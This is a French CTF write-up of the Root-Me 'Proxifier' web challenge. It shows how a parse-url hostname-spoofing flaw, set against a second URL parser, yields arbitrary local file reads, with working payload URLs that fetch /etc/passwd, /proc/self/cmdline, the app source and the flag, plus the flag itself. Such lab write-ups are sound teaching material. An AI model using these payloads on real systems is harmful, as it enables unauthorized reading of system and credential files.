[Root-Me] Web - Proxifier
Proxifier
- Category:
Web
- Points:
500
=>497
- Difficulty: Moyenne
- Solves:
10
Description
How using several URL parser on the same input could be dangerous ? Challenge link : http://ctf10k.root-me.org:6005
Auteur : Kevin_Mizu#9360 https://ctf10kd.root-me.org/files/053c13df27ff310aced11c2887eaf4fc/proxifier.zip
Introduction
Alors en gros c’est un site en NodeJS qui permet de faire des requêtes vers le site Root-Me. Si on rentre plus dans les détails le site utilise Express pour gérer la partie web (qui ne nous intéresse pas plus que ca) et se sert de deux librairies pour parser (traiter leurs données) les urls:
- url-parse ^1.5.10
- parse-url ^7.0.2
Le programme utilise aussi node-fetch
pour faire des requêtes et fs
pour lire des fichiers.
On remarque que quand on download les libs, npm se met à pleurer en expliquant que on est un dangereux malade et que il y a une “critical severity vulnerability”
En cherchant plus de détail avec npm audit
il est indiqué que toutes les versions de parse-url jusqu'à la version 8.0.0 sont vulnérable à une faille critique de “host name spoofing”
Heureusement pour nous en cherchant pas trop loin on tombe sur une cette POC: https://huntr.dev/bounties/3587a567-7fcd-4702-b7c9-d9ca565e3c62/
En regardant en détail ce qu’il se passe on remarque que la lib parse-url lis mal les informations de l’url tandis que la libraire url
elle la parse bien.
En quoi est ce intéressant dans notre cas ?
Et bien pour y répondre nous allons d’abord analyser notre code :).
On lis pas du code nous ?
Je vais résumer assez rapidemment le début du code par ce que il n’est pas très intéressant et le but c’est pas de faire du dev.
- Il y a une variable
FLAG_PATH
qu’on utilisera probablement par la suite - Le serveur a un seul endpoint nommé
proxy
qui prend un parametreurl
et qui piaille si on ne lui en donne pas un. Par contre dans le cas contraire il appelle la fonctiongetURL
avec le parametre url qu’on lui a donne à mangé.
Que fait cette fonction getURL ?
Premier Step:
- Elle parse le protocol, hostname, pathname avec la fonction
urlParse
de la liburl-parse
qui n’est pas vulnérable. - Elle compare la variable
protocole
avechttps:
et check si la variablehost
fini parroot-me.org
. - Si toute ces conditions sont réunies on continue l’exécution du programme sinon on nous return
Protocol must be https and host end with 'root-me.org'.
Deuxième Step:
- Cette fois on reparse protocole avec la fonction parseUrl de la lib
parse-url
qui est vulnérable. - On redéfini host et pathname en fonction de si l’url donné est relative ou pas avec
new Url
.
Troisième Step:
- Si le protocole que l’on viens de parser est
https:
on fait une requete sous forme la forme de${protocole}://${host}${pathname}
- Si le protocole que l’on viens de parser est file et que l’host est égal à 127.0.0.1 alors on lis le fichier defini dans pathname.
On aligne pas des neurones nous ?
Je lance le chall en local de manière à pouvoir le debug.
Je cherche d’abord à avoir mon protocole détecté en file
au moment du step 2 mais pas au step 1 par ce que sinon le programme exit est c’est perdu. Pour cela il nous suffit de voir a quel moment la faille de parse-url
rentre en jeu. De ce que j’arrive à voir parseUrl a un peu de mal avec les :
donc je tente ma chance et je fait un localhost:3000/proxy?url=https://:root-me.org
. Quelle ne fut pas ma surprise quand je recu un protocole file
dans ma console au moment du deuxième check. Je tente quand meme au cas ou pour un truc plus stable et j’arrive pas à mettre file:// dans mon url sans trigger le filtre donc je me contente de mes deux points.
1getUrl(https://:root-me.org) =>
2
3Premier check
4{
5 slashes: true,
6 protocol: 'https:',
7 hash: '',
8 query: '',
9 pathname: '/',
10 auth: '',
11 host: ':root-me.org',
12 port: '',
13 hostname: ':root-me.org',
14 password: '',
15 username: '',
16 origin: 'https://:root-me.org',
17 href: 'https://:root-me.org/'
18}
19Deuxième check
20{
21 protocols: [ 'file' ],
22 protocol: 'file',
23 port: '',
24 resource: '',
25 user: '',
26 password: '',
27 pathname: '',
28 hash: '',
29 search: '',
30 href: 'https://:root-me.org',
31 query: {}
32}
Il ne me restais plus qu’a trouver comment mettre host à 127.0.0.1 sans niquer le premier check. A ce moment la j’ai un peu buggé donc je vais vous retracer mon chemin de pensée vous allez voir c’est passionnant.
J’ai pensé à injecté dans l’url des param url avec des array et tout style: http://localhost:3000/proxy?url[pathname][host]=127.0.0.1&url[pathname][pathname]=/etc/passwd&url[pathname][host]=127.0.0.1&url[pathname][protocol]=https&url[pathname][origin]=https://root-me.org&url=https://:root-me.org
mais ca a pas marché :( .
Je me suis RTFM vite fait et enfait dans la doc de URL ils nous disent que
1 new URL("//foo.com", "https://example.com")
2 // => 'https://foo.com' (see relative URLs)
Donc je fait un test avec http://localhost:3000/proxy?url=https://:root-me.org//127.0.0.1
et je remarque:
- J’obtiens une reponse “
No such file or directory.
” ce qui veut dire que j’ai réussi à définir mon host à127.0.0.1
. - Quand je regarde les log j’obtiens ceci:
1getUrl(https://:root-me.org//127.0.0.1)
2Premier check
3{
4 slashes: true,
5 protocol: 'https:',
6 hash: '',
7 query: '',
8 pathname: '//127.0.0.1',
9 auth: '',
10 host: ':root-me.org',
11 port: '',
12 hostname: ':root-me.org',
13 password: '',
14 username: '',
15 origin: 'https://:root-me.org',
16 href: 'https://:root-me.org//127.0.0.1'
17}
18Deuxième check
19{
20 protocols: [ 'file' ],
21 protocol: 'file',
22 port: '',
23 resource: '',
24 user: '',
25 password: '',
26 pathname: '',
27 hash: '',
28 search: '',
29 href: 'https://:root-me.org//127.0.0.1',
30 query: {}
31}
32Hostname: 127.0.0.1
merveilleux on a plus qu’a faire localhost:3000/proxy?url=https://:root-me.org//127.0.0.1/etc/passwd
et je récupère avec succes mon /etc/passwd :)
On flag pas nous ?
Si vous vous rappelez bien au début on avait parlé d’une variable “FLAG_PATH” dans le script. Donc pour trouver FLAG_PATH
il faut lire le script sur le serveur. Le chall est lancé avec la commande suivante: node /path_du_truc/app.js
alors il suffit de lire le fichier /proc/self/cmdline
pour trouver le path du script.
Ce qui nous fait: http://ctf10k.root-me.org:6005/proxy?url=https://:root-me.org//127.0.0.1/proc/self/cmdline
On récupère: node /var/app/you_wont_guess_it.js
Puis on lis /var/app/you_wont_guess_it.js
http://ctf10k.root-me.org:6005/proxy?url=https://:root-me.org//127.0.0.1/var/app/you_wont_guess_it.js
pour récuperer le path du flag dans la variable.
On récupère:
1const FLAG_PATH = "a49b4e26e4b6b4638f225fb342a645ce/flag.txt"
Et la hop on lis le flag avec http://ctf10k.root-me.org:6005/proxy?url=https://:root-me.org//127.0.0.1/var/app/a49b4e26e4b6b4638f225fb342a645ce/flag.txt
Ce qui nous donne le flag: RM{T4k3_C4R3_0f_Y0uR_URL_P4rs3R}
Merci de m’avoir lu :).
Si vous avez une question n’hésitez pas à m’envoyer un message sur mon discord: @numb3rss